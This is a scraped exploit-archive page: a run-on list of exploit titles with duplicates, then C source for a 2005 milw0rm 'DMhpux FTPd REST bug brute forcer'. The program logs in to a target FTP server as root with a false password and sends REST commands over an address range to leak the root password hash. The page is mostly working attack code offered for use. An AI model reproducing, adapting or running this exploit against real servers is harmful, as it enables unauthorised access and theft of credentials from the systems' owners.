
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
97 lines
2 KiB
C
Executable file
97 lines
2 KiB
C
Executable file
/*
|
|
Author: phased
|
|
|
|
/str0ke
|
|
*/
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
int main (int argc, char *argv[]) {
|
|
|
|
int sock, rc;
|
|
long int i;
|
|
struct sockaddr_in saddr;
|
|
struct hostent *h;
|
|
char buf[256];
|
|
|
|
printf("DMhpux FTPd - REST bug brute forcer\n");
|
|
printf("by phased\n");
|
|
|
|
if(argc < 2) {
|
|
printf("usage: %s <host> -- simple enough?\n",argv[0]);
|
|
exit(1);
|
|
}
|
|
h = gethostbyname(argv[1]);
|
|
if(h==NULL) {
|
|
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
|
|
exit(1);
|
|
}
|
|
|
|
saddr.sin_family = h->h_addrtype;
|
|
memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
|
|
saddr.sin_port = htons(21);
|
|
|
|
sock = socket(AF_INET, SOCK_STREAM, 0);
|
|
if(sock<0) {
|
|
perror("cannot open socket ");
|
|
exit(1);
|
|
}
|
|
|
|
rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
|
|
if(rc<0) {
|
|
perror("cannot connect ");
|
|
exit(1);
|
|
}
|
|
|
|
printf("Sending false login credentials\n");
|
|
snprintf(buf, sizeof(buf), "USER root\r\n");
|
|
printf("sending %s\n", buf);
|
|
rc = send(sock, buf, strlen(buf), 0);
|
|
if(rc<0) {
|
|
perror("cannot send data ");
|
|
close(sock);
|
|
exit(0);
|
|
}
|
|
dorecv(sock);
|
|
usleep(1000);
|
|
memset(buf, 0, sizeof(buf));
|
|
snprintf(buf, sizeof(buf), "PASS foo\r\n");
|
|
printf("sending %s\n", buf);
|
|
rc = send(sock, buf, strlen(buf), 0);
|
|
usleep(1000);
|
|
dorecv(sock);
|
|
dorecv(sock);
|
|
|
|
for(i=1073931080;i<=1073945000;i = i+10) {
|
|
snprintf(buf, sizeof(buf), "REST %d\r\n", i);
|
|
printf("sending %s\n", buf);
|
|
send(sock, buf, strlen(buf), 0);
|
|
dorecv(sock);
|
|
}
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
int dorecv(int sock) {
|
|
char buf[256];
|
|
char *check;
|
|
|
|
memset(buf, 0, sizeof(buf));
|
|
recv(sock, buf, sizeof(buf), 0);
|
|
printf("got: %s\n", buf);
|
|
check = (char *)strstr(buf, "root");
|
|
if(check != NULL) {
|
|
printf("Got root hash\n");
|
|
}
|
|
|
|
}
|
|
|
|
// milw0rm.com [2005-05-03]
|